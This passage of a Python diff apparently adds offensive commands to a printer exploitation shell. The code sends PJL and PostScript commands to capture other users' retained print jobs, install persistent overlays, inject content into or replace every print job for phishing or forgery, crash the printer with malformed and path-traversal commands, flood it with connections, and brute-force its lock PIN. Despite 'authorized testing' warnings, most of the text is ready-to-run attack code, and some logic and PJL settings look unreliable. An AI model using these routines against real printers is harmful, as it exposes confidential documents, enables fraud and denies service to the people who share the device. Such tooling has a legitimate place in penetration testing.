+ # --------------------------------------------------------------------
1692
+
1693
+ def get(self, path):
1694
+ """
1695
+ Download/read file from printer using PJL FSDOWNLOAD
1696
+ Returns tuple (size, data) or c.NONEXISTENT if file doesn't exist
1697
+ """
1698
+ try:
1699
+ from utils.helper import const as c
1700
+
1701
+ # Try to download the file using PJL FSDOWNLOAD
1702
+ result = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{path}\"", binary=True)
1703
+
1704
+ if result and len(result) > 0:
1705
+ # File exists and was downloaded
1706
+ return (len(result), result.encode() if isinstance(result, str) else result)
1707
+ else:
1708
+ # File doesn't exist or is empty
1709
+ return c.NONEXISTENT
1710
+
1711
+ except Exception as e:
1712
+ output().errmsg(f"Get file failed: {e}")
1713
+ from utils.helper import const as c
1714
+ return c.NONEXISTENT
1715
+
1716
+ def put(self, path, data):
1717
+ """
1718
+ Upload/write file to printer using PJL FSUPLOAD
1719
+ Returns size of data written or c.NONEXISTENT on error
1720
+ """
1721
+ try:
1722
+ from utils.helper import const as c
1723
+
1724
+ # Ensure data is bytes
1725
+ if isinstance(data, str):
1726
+ data = data.encode('utf-8')
1727
+
1728
+ # Upload file using PJL FSUPLOAD
1729
+ self.cmd(f"@PJL FSUPLOAD NAME=\"{path}\" OFFSET=0 SIZE={len(data)}")
1730
+ self.send(data)
1731
+
1732
+ # Return size of data written
1733
+ return len(data)
1734
+
1735
+ except Exception as e:
1736
+ output().errmsg(f"Put file failed: {e}")
1737
+ from utils.helper import const as c
1738
+ return c.NONEXISTENT
1739
+
1740
+ def append(self, path, data):
1741
+ """
1742
+ Append data to file on printer
1743
+ First reads file, then writes it back with appended data
1744
+ """
1745
+ try:
1746
+ from utils.helper import const as c
1747
+
1748
+ # Ensure data is string for appending
1749
+ if isinstance(data, bytes):
1750
+ data = data.decode('utf-8')
1751
+
1752
+ # Try to read existing file
1753
+ result = self.get(path)
1754
+
1755
+ if result == c.NONEXISTENT:
1756
+ # File doesn't exist, create new with data
1757
+ existing_data = ""
1758
+ else:
1759
+ # File exists, get its content
1760
+ size, content = result
1761
+ existing_data = content.decode('utf-8') if isinstance(content, bytes) else content
1762
+
1763
+ # Append new data
1764
+ new_data = existing_data + data + "\n"
1765
+
1766
+ # Write back to file
1767
+ return self.put(path, new_data)
1768
+
1769
+ except Exception as e:
1770
+ output().errmsg(f"Append failed: {e}")
1771
+ from utils.helper import const as c
1772
+ return c.NONEXISTENT
1773
+
1774
+ def delete(self, path):
1775
+ """
1776
+ Delete file using PJL FSDELETE
1777
+ """
1778
+ try:
1779
+ self.cmd(f"@PJL FSDELETE NAME=\"{path}\"")
1780
+ output().info(f"Deleted {path}")
1781
+ return True
1782
+ except Exception as e:
1783
+ output().errmsg(f"Delete failed: {e}")
1784
+ return False
1785
+
1786
+ # ====================================================================
1787
+ # 🎯 PRINT JOB MANIPULATION COMMANDS (P0 - CRITICAL)
1788
+ # ====================================================================
1789
+ # Commands for capturing and manipulating print jobs
1790
+
1791
+ def do_capture(self, arg):
1792
+ """Capture and download retained print jobs from printer"""
1793
+ output().info("Querying retained print jobs...")
1794
+
1795
+ # Method 1: Query job information
1796
+ jobs_info = self.cmd("@PJL INFO JOBS")
1797
+ if jobs_info and len(jobs_info.strip()) > 0:
1798
+ print("Jobs in queue:")
1799
+ print("=" * 60)
1800
+ print(jobs_info)
1801
+ print("=" * 60)
1802
+ else:
1803
+ output().warning("No jobs found via INFO JOBS")
1804
+
1805
+ # Method 2: List job files in filesystem (try multiple volumes)
1806
+ job_paths_to_try = [
1807
+ ("0:", "jobs"),
1808
+ ("0:", "webServer/jobs"),
1809
+ ("1:", "saveDevice/SavedJobs/InProgress"),
1810
+ ("1:", "saveDevice/SavedJobs/KeepJobs"),
1811
+ ("1:", "savedJobs"),
1812
+ ("2:", "jobs"),
1813
+ ]
1814
+
1815
+ jobs_found = False
1816
+ for vol, job_path in job_paths_to_try:
1817
+ full_path = f"{vol}/{job_path}"
1818
+ output().info(f"Checking {full_path}...")
1819
+
1820
+ try:
1821
+ result = self.cmd(f"@PJL FSDIRLIST NAME=\"{full_path}\"")
1822
+ if result and len(result.strip()) > 20:
1823
+ jobs_found = True
1824
+ print(f"\n✓ Jobs found in {full_path}:")
1825
+ print("=" * 60)
1826
+ print(result)
1827
+ print("=" * 60)
1828
+
1829
+ # Parse and download if requested
1830
+ if arg == "download" or arg == "all":
1831
+ job_files = self.parse_dirlist(result)
1832
+ for job_file in job_files:
1833
+ if job_file and not job_file.startswith('.'):
1834
+ job_full_path = f"{full_path}/{job_file}"
1835
+ output().info(f"Downloading {job_file}...")
1836
+ self.do_download(f"{job_full_path} captured_{job_file}")
1837
+ except Exception as e:
1838
+ if self.debug:
1839
+ output().errmsg(f"Error checking {full_path}: {e}")
1840
+
1841
+ if not jobs_found:
1842
+ output().warning("No print jobs found in filesystem")
1843
+ output().info("Try enabling job retention first: hold")
1844
+
1845
+ def help_capture(self):
1846
+ """Capture retained print jobs from printer"""
1847
+ print()
1848
+ print("capture - Capture retained print jobs from printer")
1849
+ print("=" * 70)
1850
+ print("DESCRIPTION:")
1851
+ print(" Captures and downloads print jobs that have been retained by the printer.")
1852
+ print(" This can reveal sensitive documents that were printed by other users.")
1853
+ print(" Requires job retention to be enabled (use 'hold' command first).")
1854
+ print()
1855
+ print("USAGE:")
1856
+ print(" capture # List all retained jobs")
1857
+ print(" capture download # List and download all jobs")
1858
+ print(" capture all # Same as download")
1859
+ print()
1860
+ print("EXAMPLES:")
1861
+ print(" hold # Enable job retention first")
1862
+ print(" capture # List retained jobs")
1863
+ print(" capture download # Download all jobs to local directory")
1864
+ print()
1865
+ print("SECURITY IMPACT: CRITICAL")
1866
+ print(" - Access to other users' documents")
1867
+ print(" - Potential data breach")
1868
+ print(" - Confidential information exposure")
1869
+ print()
1870
+ print("NOTES:")
1871
+ print(" - Jobs are searched in multiple volumes (0:, 1:, 2:)")
1872
+ print(" - Downloaded jobs are saved with 'captured_' prefix")
1873
+ print(" - Some printers automatically delete jobs after time")
1874
+ print(" - Works best after enabling job retention")
1875
+ print()
1876
+
1877
+ def parse_dirlist(self, dirlist):
1878
+ """Parse FSDIRLIST output to extract filenames"""
1879
+ files = []
1880
+ for line in dirlist.split('\n'):
1881
+ # Parse format: ENTRY=1 NAME="file" SIZE=1234 TYPE=FILE
1882
+ match = re.search(r'NAME="([^"]+)"', line)
1883
+ if match:
1884
+ filename = match.group(1)
1885
+ # Skip directories
1886
+ if 'TYPE=DIR' not in line.upper():
1887
+ files.append(filename)
1888
+ return files
1889
+
1890
+ def do_overlay(self, arg):
1891
+ """Overlay attack - add watermark/content to all print jobs"""
1892
+ if not arg:
1893
+ output().errmsg("Usage: overlay <eps_file>")
1894
+ output().info("Creates overlay that will be printed on all documents")
1895
+ output().info("Example: overlay watermark.eps")
1896
+ return
1897
+
1898
+ # Read overlay file (should be EPS format for best compatibility)
1899
+ if not os.path.exists(arg):
1900
+ output().errmsg(f"File not found: {arg}")
1901
+ output().info("Overlay file should be in EPS (Encapsulated PostScript) format")
1902
+ return
1903
+
1904
+ overlay_data = file().read(arg)
1905
+ if not overlay_data:
1906
+ return
1907
+
1908
+ output().warning("═" * 70)
1909
+ output().warning("DANGER: Installing overlay attack!")
1910
+ output().warning("This will affect ALL future print jobs on this printer!")
1911
+ output().warning("All documents will include your overlay content!")
1912
+ output().warning("═" * 70)
1913
+
1914
+ try:
1915
+ confirm = input("Continue with overlay attack? (yes/no): ")
1916
+ if confirm.lower() != 'yes':
1917
+ output().info("Overlay attack cancelled")
1918
+ return
1919
+ except (EOFError, KeyboardInterrupt):
1920
+ output().info("Overlay attack cancelled")
1921
+ return
1922
+
1923
+ # Upload overlay to printer
1924
+ overlay_path = "0:/overlay.eps"
1925
+ size = self.put(overlay_path, overlay_data)
1926
+
1927
+ if size == c.NONEXISTENT:
1928
+ output().errmsg("Failed to upload overlay file")
1929
+ return
1930
+
1931
+ output().info(f"✓ Overlay uploaded to {overlay_path} ({size} bytes)")
1932
+
1933
+ # Configure printer to use overlay (varies by manufacturer)
1934
+ # Try multiple methods
1935
+
1936
+ # Method 1: HP PJL commands
1937
+ self.cmd("@PJL SET OVERLAY=ON")
1938
+ self.cmd(f"@PJL SET OVERLAYFILE=\"{overlay_path}\"")
1939
+ output().info("✓ Overlay configured via PJL (HP method)")
1940
+
1941
+ # Method 2: PostScript setpagedevice
1942
+ ps_config = f"""
1943
+ %!PS-Adobe-3.0
1944
+ << /BeginPage {{
1945
+ gsave
1946
+ ({overlay_path}) run
1947
+ grestore
1948
+ }} >> setpagedevice
1949
+ """
1950
+ config_path = "0:/system/overlay_config.ps"
1951
+ self.put(config_path, ps_config.encode())
1952
+ output().info(f"✓ PostScript config uploaded to {config_path}")
1953
+
1954
+ # Method 3: Set as startup job
1955
+ self.cmd(f"@PJL SET STARTUPJOB=\"{config_path}\"")
1956
+
1957
+ output().info("✓ Overlay attack installed successfully!")
1958
+ output().warning("⚠ All future print jobs will include the overlay!")
1959
+ output().info("To remove: Use 'overlay_remove' command or factory reset")
1960
+
1961
+ def help_overlay(self):
1962
+ """Overlay attack - add watermark to all print jobs"""
1963
+ print()
1964
+ print("overlay - Overlay attack (add watermark to all print jobs)")
1965
+ print("=" * 70)
1966
+ print("DESCRIPTION:")
1967
+ print(" Installs an overlay (watermark) that will be printed on ALL future")
1968
+ print(" documents. The overlay can be used for:")
1969
+ print(" - Adding watermarks (e.g., 'CONFIDENTIAL')")
1970
+ print(" - Phishing attacks (fake headers/footers)")
1971
+ print(" - Disinformation campaigns")
1972
+ print(" - Document manipulation")
1973
+ print()
1974
+ print("USAGE:")
1975
+ print(" overlay <eps_file>")
1976
+ print()
1977
+ print("EXAMPLES:")
1978
+ print(" overlay watermark.eps # Add watermark overlay")
1979
+ print(" overlay phishing.eps # Phishing attack overlay")
1980
+ print(" overlay logo.eps # Add company logo")
1981
+ print()
1982
+ print("FILE FORMAT:")
1983
+ print(" - EPS (Encapsulated PostScript) recommended")
1984
+ print(" - PostScript (.ps) also works")
1985
+ print(" - File should contain visual elements to overlay")
1986
+ print()
1987
+ print("SECURITY IMPACT: CRITICAL")
1988
+ print(" - Affects ALL users' documents")
1989
+ print(" - Persistent until removed")
1990
+ print(" - Can be used for social engineering")
1991
+ print(" - Hard to detect by users")
1992
+ print()
1993
+ print("REMOVAL:")
1994
+ print(" - Use 'overlay_remove' command")
1995
+ print(" - Or factory reset")
1996
+ print(" - Or delete overlay file and restart")
1997
+ print()
1998
+ print("NOTES:")
1999
+ print(" - Requires confirmation")
2000
+ print(" - Works on most HP, Lexmark, Canon printers")
2001
+ print(" - May not work on all printer models")
2002
+ print()
2003
+
2004
+ def do_overlay_remove(self, arg):
2005
+ """Remove overlay attack"""
2006
+ output().info("Removing overlay attack...")
2007
+
2008
+ try:
2009
+ # Method 1: Disable overlay
2010
+ self.cmd("@PJL SET OVERLAY=OFF")
2011
+ output().info("✓ Overlay disabled via PJL")
2012
+
2013
+ # Method 2: Delete overlay files
2014
+ self.cmd("@PJL FSDELETE NAME=\"0:/overlay.eps\"")
2015
+ self.cmd("@PJL FSDELETE NAME=\"0:/system/overlay_config.ps\"")
2016
+ output().info("✓ Overlay files deleted")
2017
+
2018
+ # Method 3: Clear startup job
2019
+ self.cmd("@PJL SET STARTUPJOB=\"\"")
2020
+ output().info("✓ Startup job cleared")
2021
+
2022
+ output().info("✓ Overlay attack removed successfully!")
2023
+ output().info("Restart printer to ensure complete removal")
2024
+
2025
+ except Exception as e:
2026
+ output().errmsg(f"Overlay removal failed: {e}")
2027
+
2028
+ def help_overlay_remove(self):
2029
+ """Remove overlay attack"""
2030
+ print()
2031
+ print("overlay_remove - Remove overlay attack from printer")
2032
+ print("=" * 70)
2033
+ print("DESCRIPTION:")
2034
+ print(" Removes a previously installed overlay attack.")
2035
+ print(" Disables overlay, deletes overlay files, and clears startup jobs.")
2036
+ print()
2037
+ print("USAGE:")
2038
+ print(" overlay_remove")
2039
+ print()
2040
+ print("EXAMPLES:")
2041
+ print(" overlay_remove # Remove overlay attack")
2042
+ print()
2043
+ print("NOTES:")
2044
+ print(" - Reverses 'overlay' command")
2045
+ print(" - Restart printer recommended after removal")
2046
+ print(" - Factory reset also removes overlay")
2047
+ print()
2048
+
2049
+ def do_cross(self, arg):
2050
+ """Cross-site printing - inject content into other users' print jobs"""
2051
+ if not arg:
2052
+ output().errmsg("Usage: cross <content_file>")
2053
+ output().info("Injects malicious content into print jobs from other users")
2054
+ output().info("Example: cross phishing_header.ps")
2055
+ return
2056
+
2057
+ if not os.path.exists(arg):
2058
+ output().errmsg(f"File not found: {arg}")
2059
+ return
2060
+
2061
+ content = file().read(arg)
2062
+ if not content:
2063
+ return
2064
+
2065
+ output().warning("═" * 70)
2066
+ output().warning("DANGER: Cross-site printing attack!")
2067
+ output().warning("This will inject your content into OTHER USERS' print jobs!")
2068
+ output().warning("Highly visible and easily detectable!")
2069
+ output().warning("═" * 70)
2070
+
2071
+ try:
2072
+ confirm = input("Continue with cross-site printing? (yes/no): ")
2073
+ if confirm.lower() != 'yes':
2074
+ output().info("Cross-site printing attack cancelled")
2075
+ return
2076
+ except (EOFError, KeyboardInterrupt):
2077
+ output().info("Attack cancelled")
2078
+ return
2079
+
2080
+ # Enable job retention first
2081
+ self.cmd("@PJL SET JOBRETENTION=ON")
2082
+ output().info("✓ Job retention enabled")
2083
+
2084
+ # Create PostScript injection code
2085
+ if isinstance(content, bytes):
2086
+ content_str = content.decode('utf-8', errors='ignore')
2087
+ else:
2088
+ content_str = content
2089
+
2090
+ ps_injection = f"""
2091
+ %!PS-Adobe-3.0
2092
+ << /BeginPage {{
2093
+ gsave
2094
+ 100 750 moveto
2095
+ /Helvetica findfont 12 scalefont setfont
2096
+ ({content_str[:100]}) show
2097
+ grestore
2098
+ }} >> setpagedevice
2099
+ """
2100
+
2101
+ # Upload injection code
2102
+ inject_path = "0:/system/inject.ps"
2103
+ self.put(inject_path, ps_injection.encode())
2104
+ output().info(f"✓ Injection code uploaded to {inject_path}")
2105
+
2106
+ # Configure to run on all jobs
2107
+ self.cmd(f"@PJL SET JOBINJECT=\"{inject_path}\"")
2108
+ self.cmd("@PJL SET JOBINTERCEPT=ON")
2109
+
2110
+ # Alternative method: Enter PostScript and set page device
2111
+ self.cmd("@PJL ENTER LANGUAGE=POSTSCRIPT")
2112
+ self.send(ps_injection.encode())
2113
+ self.send(b"\x04") # EOT
2114
+
2115
+ output().info("✓ Cross-site printing attack installed!")
2116
+ output().warning("⚠ Your content will appear in other users' print jobs!")
2117
+
2118
+ def help_cross(self):
2119
+ """Cross-site printing attack"""
2120
+ print()
2121
+ print("cross - Cross-site printing attack")
2122
+ print("=" * 70)
2123
+ print("DESCRIPTION:")
2124
+ print(" Injects malicious content into print jobs from other users.")
2125
+ print(" Your content will appear in documents printed by others.")
2126
+ print(" Can be used for:")
2127
+ print(" - Phishing attacks (fake headers with malicious links)")
2128
+ print(" - Disinformation campaigns")
2129
+ print(" - Social engineering")
2130
+ print(" - Internal attacks")
2131
+ print()
2132
+ print("USAGE:")
2133
+ print(" cross <content_file>")
2134
+ print()
2135
+ print("EXAMPLES:")
2136
+ print(" cross phishing_header.ps # Inject phishing header")
2137
+ print(" cross malicious_text.txt # Inject text content")
2138
+ print(" cross fake_footer.eps # Inject fake footer")
2139
+ print()
2140
+ print("FILE FORMAT:")
2141
+ print(" - PostScript (.ps) recommended")
2142
+ print(" - Plain text (.txt) also works")
2143
+ print(" - EPS (.eps) for graphics")
2144
+ print()
2145
+ print("SECURITY IMPACT: CRITICAL")
2146
+ print(" - Affects all users on the network")
2147
+ print(" - Can be used for phishing")
2148
+ print(" - Very visible and detectable")
2149
+ print(" - May violate laws (use only for authorized testing!)")
2150
+ print()
2151
+ print("DETECTION:")
2152
+ print(" - Easily detected by affected users")
2153
+ print(" - Appears in printed documents")
2154
+ print(" - Logs may show unusual activity")
2155
+ print()
2156
+ print("REMOVAL:")
2157
+ print(" - Factory reset")
2158
+ print(" - Delete injection files")
2159
+ print(" - Restart printer")
2160
+ print()
2161
+ print("⚠ WARNING: For authorized security testing ONLY!")
2162
+ print()
2163
+
2164
+ def do_replace(self, arg):
2165
+ """Replace attack - substitute entire print job content"""
2166
+ if not arg:
2167
+ output().errmsg("Usage: replace <replacement_file>")
2168
+ output().info("Replaces ALL print jobs with your specified content")
2169
+ output().info("Example: replace fake_document.ps")
2170
+ return
2171
+
2172
+ if not os.path.exists(arg):
2173
+ output().errmsg(f"File not found: {arg}")
2174
+ return
2175
+
2176
+ replacement = file().read(arg)
2177
+ if not replacement:
2178
+ return
2179
+
2180
+ output().warning("═" * 70)
2181
+ output().warning("EXTREME DANGER: Document replacement attack!")
2182
+ output().warning("ALL print jobs will be COMPLETELY REPLACED with your content!")
2183
+ output().warning("Users will print YOUR document instead of theirs!")
2184
+ output().warning("This is a SEVERE attack that may have legal consequences!")
2185
+ output().warning("═" * 70)
2186
+
2187
+ try:
2188
+ confirm = input("Continue with replacement attack? (type 'YES I UNDERSTAND'): ")
2189
+ if confirm != 'YES I UNDERSTAND':
2190
+ output().info("Replace attack cancelled")
2191
+ return
2192
+ except (EOFError, KeyboardInterrupt):
2193
+ output().info("Attack cancelled")
2194
+ return
2195
+
2196
+ # Upload replacement content
2197
+ replace_path = "0:/system/replacement.ps"
2198
+ size = self.put(replace_path, replacement)
2199
+ if size == c.NONEXISTENT:
2200
+ output().errmsg("Failed to upload replacement file")
2201
+ return
2202
+
2203
+ output().info(f"✓ Replacement uploaded ({size} bytes)")
2204
+
2205
+ # Configure job replacement (varies by printer model)
2206
+ # HP method
2207
+ self.cmd("@PJL SET JOBREPLACE=ON")
2208
+ self.cmd(f"@PJL SET JOBREPLACEFILE=\"{replace_path}\"")
2209
+
2210
+ # Alternative: PostScript job server
2211
+ ps_replace = f"""
2212
+ %!PS-Adobe-3.0
2213
+ statusdict begin
2214
+ /jobserver {{
2215
+ ({replace_path}) run
2216
+ }} def
2217
+ end
2218
+ """
2219
+ self.put("0:/system/jobserver.ps", ps_replace.encode())
2220
+ self.cmd("@PJL SET JOBSERVER=\"0:/system/jobserver.ps\"")
2221
+
2222
+ output().info("✓ Replace attack installed!")
2223
+ output().warning("⚠ ALL print jobs will now be replaced with your document!")
2224
+ output().warning("⚠ This attack is HIGHLY visible and detectable!")
2225
+
2226
+ def help_replace(self):
2227
+ """Replace attack - substitute print job content"""
2228
+ print()
2229
+ print("replace - Replace attack (substitute entire job content)")
2230
+ print("=" * 70)
2231
+ print("DESCRIPTION:")
2232
+ print(" Replaces ALL print jobs with your specified document.")
2233
+ print(" Users will print YOUR document instead of their own.")
2234
+ print(" EXTREMELY dangerous and easily detectable attack.")
2235
+ print()
2236
+ print("USAGE:")
2237
+ print(" replace <replacement_file>")
2238
+ print()
2239
+ print("EXAMPLES:")
2240
+ print(" replace fake_invoice.ps # Replace all jobs with fake invoice")
2241
+ print(" replace phishing_doc.pdf # Replace with phishing document")
2242
+ print()
2243
+ print("FILE FORMAT:")
2244
+ print(" - PostScript (.ps) recommended")
2245
+ print(" - PDF (.pdf) may work on some printers")
2246
+ print(" - PCL (.pcl) for PCL printers")
2247
+ print()
2248
+ print("SECURITY IMPACT: EXTREME - CRITICAL")
2249
+ print(" - Complete job substitution")
2250
+ print(" - Users print wrong documents")
2251
+ print(" - Potential for fraud/forgery")
2252
+ print(" - May violate multiple laws")
2253
+ print()
2254
+ print("DETECTION:")
2255
+ print(" - IMMEDIATELY detected by users")
2256
+ print(" - Printed output is wrong")
2257
+ print(" - Will cause investigation")
2258
+ print()
2259
+ print("LEGAL WARNING:")
2260
+ print(" ⚠ This attack may constitute:")
2261
+ print(" - Computer fraud")
2262
+ print(" - Document forgery")
2263
+ print(" - Unauthorized access")
2264
+ print(" ⚠ Use ONLY for authorized security testing!")
2265
+ print(" ⚠ Obtain written permission before use!")
2266
+ print()
2267
+ print("REMOVAL:")
2268
+ print(" - Factory reset required")
2269
+ print(" - Delete all system files")
2270
+ print(" - Contact printer administrator")
2271
+ print()
2272
+
2273
+ # ====================================================================
2274
+ # 💥 DENIAL OF SERVICE ATTACKS (Additional)
2275
+ # ====================================================================
2276
+
2277
+ def do_hang(self, arg):
2278
+ """Hang printer with malformed PJL commands"""
2279
+ output().warning("═" * 70)
2280
+ output().warning("DANGER: Printer hang attack!")
2281
+ output().warning("This will attempt to CRASH/HANG the printer!")
2282
+ output().warning("Printer may require POWER CYCLE to recover!")
2283
+ output().warning("═" * 70)
2284
+
2285
+ try:
2286
+ confirm = input("Continue with hang attack? (yes/no): ")
2287
+ if confirm.lower() != 'yes':
2288
+ output().info("Hang attack cancelled")
2289
+ return
2290
+ except (EOFError, KeyboardInterrupt):
2291
+ output().info("Attack cancelled")
2292
+ return
2293
+
2294
+ output().info("Launching hang attack...")
2295
+ output().info("Multiple attack vectors will be attempted...")
2296
+
2297
+ # Vector 1: Invalid language
2298
+ output().info("Vector 1: Invalid ENTER LANGUAGE")
2299
+ self.cmd("@PJL ENTER LANGUAGE=INVALID_LANGUAGE", False)
2300
+ time.sleep(0.5)
2301
+
2302
+ # Vector 2: Conflicting commands
2303
+ output().info("Vector 2: Conflicting commands")
2304
+ self.cmd("@PJL SET LANGUAGE=UNKNOWN", False)
2305
+ self.cmd("@PJL INITIALIZE", False)
2306
+ time.sleep(0.5)
2307
+
2308
+ # Vector 3: Rapid DEFAULT/RESET
2309
+ output().info("Vector 3: Rapid factory reset loop")
2310
+ for i in range(10):
2311
+ self.cmd("@PJL DEFAULT", False)
2312
+ self.cmd("@PJL RESET", False)
2313
+ time.sleep(0.1)
2314
+
2315
+ # Vector 4: Invalid file operations
2316
+ output().info("Vector 4: Invalid filesystem operations")
2317
+ self.cmd("@PJL FSINIT VOLUME=\"99:\"", False)
2318
+ self.cmd("@PJL FSDELETE NAME=\"/../../../../system\"", False)
2319
+
2320
+ # Vector 5: Buffer overflow attempt
2321
+ output().info("Vector 5: Buffer overflow attempts")
2322
+ huge_string = "A" * 100000
2323
+ self.cmd(f"@PJL SET INVALIDVAR=\"{huge_string}\"", False)
2324
+
2325
+ output().info("✓ Hang attack vectors sent")
2326
+ output().warning("⚠ Printer may be unresponsive - check printer status")
2327
+ output().warning("⚠ Power cycle may be required")
2328
+
2329
+ def help_hang(self):
2330
+ """Hang printer with malformed commands"""
2331
+ print()
2332
+ print("hang - Hang/crash printer attack")
2333
+ print("=" * 70)
2334
+ print("DESCRIPTION:")
2335
+ print(" Attempts to hang or crash the printer using malformed PJL commands.")
2336
+ print(" Multiple attack vectors are used:")
2337
+ print(" - Invalid ENTER LANGUAGE commands")
2338
+ print(" - Conflicting control commands")
2339
+ print(" - Rapid factory reset loops")
2340
+ print(" - Invalid filesystem operations")
2341
+ print(" - Buffer overflow attempts")
2342
+ print()
2343
+ print("USAGE:")
2344
+ print(" hang")
2345
+ print()
2346
+ print("EXAMPLES:")
2347
+ print(" hang # Execute hang attack")
2348
+ print()
2349
+ print("SECURITY IMPACT: HIGH")
2350
+ print(" - Printer becomes unresponsive")
2351
+ print(" - Denial of service")
2352
+ print(" - May require power cycle")
2353
+ print(" - Can affect all network users")
2354
+ print()
2355
+ print("RECOVERY:")
2356
+ print(" - Power cycle printer")
2357
+ print(" - Disconnect from network")
2358
+ print(" - Factory reset may be needed")
2359
+ print()
2360
+ print("NOTES:")
2361
+ print(" - Requires confirmation")
2362
+ print(" - Different printers vulnerable to different vectors")
2363
+ print(" - Success rate varies by model/firmware")
2364
+ print(" - Use only for authorized security testing")
2365
+ print()
2366
+
2367
+ def do_dos_connections(self, arg):
2368
+ """DoS attack via connection flooding"""
2369
+ count = conv().int(arg) or 100
2370
+
2371
+ output().warning("═" * 70)
2372
+ from utils.ports import PortConfig as _PC
2373
+ _dos_port = _PC.resolve('raw')
2374
+ output().warning(f"DoS attack: Flooding {count} connections to {self.target}:{_dos_port}")
2375
+ output().warning("This will make the printer unavailable to legitimate users!")
2376
+ output().warning("═" * 70)
2377
+
2378
+ try:
2379
+ confirm = input(f"Flood {count} connections? (yes/no): ")
2380
+ if confirm.lower() != 'yes':
2381
+ output().info("Connection flooding cancelled")
2382
+ return
2383
+ except (EOFError, KeyboardInterrupt):
2384
+ output().info("Attack cancelled")
2385
+ return
2386
+
2387
+ import threading
2388
+
2389
+ connections = []
2390
+ success_count = 0
2391
+
2392
+ def create_connection(conn_id):
2393
+ nonlocal success_count
2394
+ try:
2395
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2396
+ sock.settimeout(5)
2397
+ result = sock.connect_ex((self.target, _dos_port))
2398
+ if result == 0:
2399
+ sock.send(b"@PJL\r\n")
2400
+ connections.append(sock)
2401
+ success_count += 1
2402
+ if success_count % 10 == 0:
2403
+ output().info(f"✓ {success_count} connections established...")
2404
+ time.sleep(30) # Hold connection
2405
+ sock.close()
2406
+ except Exception as e:
2407
+ if self.debug:
2408
+ output().errmsg(f"Connection {conn_id} failed: {e}")
2409
+
2410
+ output().info(f"Launching {count} connection threads...")
2411
+ threads = []
2412
+
2413
+ for i in range(count):
2414
+ t = threading.Thread(target=create_connection, args=(i,))
2415
+ t.daemon = True
2416
+ t.start()
2417
+ threads.append(t)
2418
+ time.sleep(0.01) # Small delay to avoid overwhelming local system
2419
+
2420
+ output().info(f"✓ {count} connection threads launched")
2421
+ output().info("Connections will be held for 30 seconds...")
2422
+ output().info("Press Ctrl+C to abort")
2423
+
2424
+ try:
2425
+ # Wait for threads to complete
2426
+ for t in threads:
2427
+ t.join(timeout=35)
2428
+ except KeyboardInterrupt:
2429
+ output().warning("Connection flooding interrupted by user")
2430
+
2431
+ # Close all connections
2432
+ for sock in connections:
2433
+ try:
2434
+ sock.close()
2435
+ except:
2436
+ pass
2437
+
2438
+ output().info(f"✓ DoS attack complete: {success_count}/{count} connections succeeded")
2439
+
2440
+ def help_dos_connections(self):
2441
+ """DoS via connection flooding"""
2442
+ print()
2443
+ print("dos_connections - Denial of service via connection flooding")
2444
+ print("=" * 70)
2445
+ print("DESCRIPTION:")
2446
+ print(" Floods the printer with multiple simultaneous TCP connections")
2447
+ print(" to port 9100, exhausting available connection slots and making")
2448
+ print(" the printer unavailable to legitimate users.")
2449
+ print()
2450
+ print("USAGE:")
2451
+ print(" dos_connections [count]")
2452
+ print()
2453
+ print("EXAMPLES:")
2454
+ print(" dos_connections # Default: 100 connections")
2455
+ print(" dos_connections 50 # Flood 50 connections")
2456
+ print(" dos_connections 200 # Flood 200 connections")
2457
+ print()
2458
+ print("SECURITY IMPACT: HIGH")
2459
+ print(" - Printer becomes unavailable")
2460
+ print(" - Legitimate users cannot print")
2461
+ print(" - Network resources exhausted")
2462
+ print(" - May affect printer stability")
2463
+ print()
2464
+ print("RECOVERY:")
2465
+ print(" - Connections auto-close after 30 seconds")
2466
+ print(" - Or press Ctrl+C to abort early")
2467
+ print(" - Restart printer if needed")
2468
+ print()
2469
+ print("NOTES:")
2470
+ print(" - Requires confirmation")
2471
+ print(" - Default: 100 connections")
2472
+ print(" - Connections held for 30 seconds")
2473
+ print(" - Can be interrupted with Ctrl+C")
2474
+ print()
2475
+
2476
+ # ====================================================================
2477
+ # 🔐 CREDENTIAL ATTACKS (Advanced)
2478
+ # ====================================================================
2479
+
2480
+ def do_unlock_bruteforce(self, arg):
2481
+ """Brute force printer unlock PIN"""
2482
+ start = 1
2483
+ end = 65535
2484
+
2485
+ if arg:
2486
+ try:
2487
+ start = int(arg)
2488
+ except:
2489
+ output().errmsg("Invalid start PIN")
2490
+ return
2491
+
2492
+ output().warning("═" * 70)
2493
+ output().warning(f"PIN Brute Force: Testing PINs from {start} to {end}")
2494
+ output().warning(f"This may take a LONG time ({end-start+1} attempts)")
2495
+ output().warning("Printer may lock after too many attempts!")
2496
+ output().warning("═" * 70)
2497
+
2498
+ try:
2499
+ confirm = input("Continue with brute force? (yes/no): ")
2500
+ if confirm.lower() != 'yes':
2501
+ output().info("Brute force cancelled")
2502
+ return
2503
+ except (EOFError, KeyboardInterrupt):
2504
+ output().info("Brute force cancelled")
2505
+ return
2506
+
2507
+ output().info(f"Starting brute force from PIN {start}...")
2508
+ output().info("Press Ctrl+C to stop")
2509
+
2510
+ found = False
2511
+ try:
2512
+ for pin in range(start, end + 1):
2513
+ # Progress indicator
2514
+ if pin % 100 == 0:
2515
+ progress = ((pin - start) * 100) // (end - start + 1)
2516
+ output().info(f"Progress: PIN {pin} ({progress}%)")
2517
+
2518
+ # Try to unlock with this PIN
2519
+ try:
2520
+ self.cmd(f"@PJL SET LOCKPIN={pin}")
2521
+ time.sleep(0.1) # Small delay to avoid overwhelming printer
2522
+
2523
+ # Verify if unlock was successful
2524
+ result = self.cmd("@PJL INFO CONFIG")
2525
+ if result and ("LOCKPIN=0" in result or "LOCKED=OFF" in result.upper()):
2526
+ output().info("")
2527
+ output().info("=" * 70)
2528
+ output().info(f"✓ SUCCESS! PIN found: {pin}")
2529
+ output().info("=" * 70)
2530
+ found = True
2531
+ break
2532
+
2533
+ except KeyboardInterrupt:
2534
+ raise
2535
+ except Exception as e:
2536
+ if self.debug:
2537
+ output().errmsg(f"Error testing PIN {pin}: {e}")
2538
+ continue
2539
+
2540
+ except KeyboardInterrupt:
2541
+ output().warning(f"Brute force interrupted at PIN {pin}")
2542
+ output().info(f"Tested {pin - start} PINs")
2543
+
2544
+ if not found and not KeyboardInterrupt:
2545
+ output().errmsg(f"PIN not found in range {start}-{end}")
2546
+ output().info("Try different range or check if printer locked")
2547
+
2548
+ def help_unlock_bruteforce(self):
2549
+ """Brute force printer unlock PIN"""
2550
+ print()
2551
+ print("unlock_bruteforce - Brute force printer unlock PIN")
2552
+ print("=" * 70)
2553
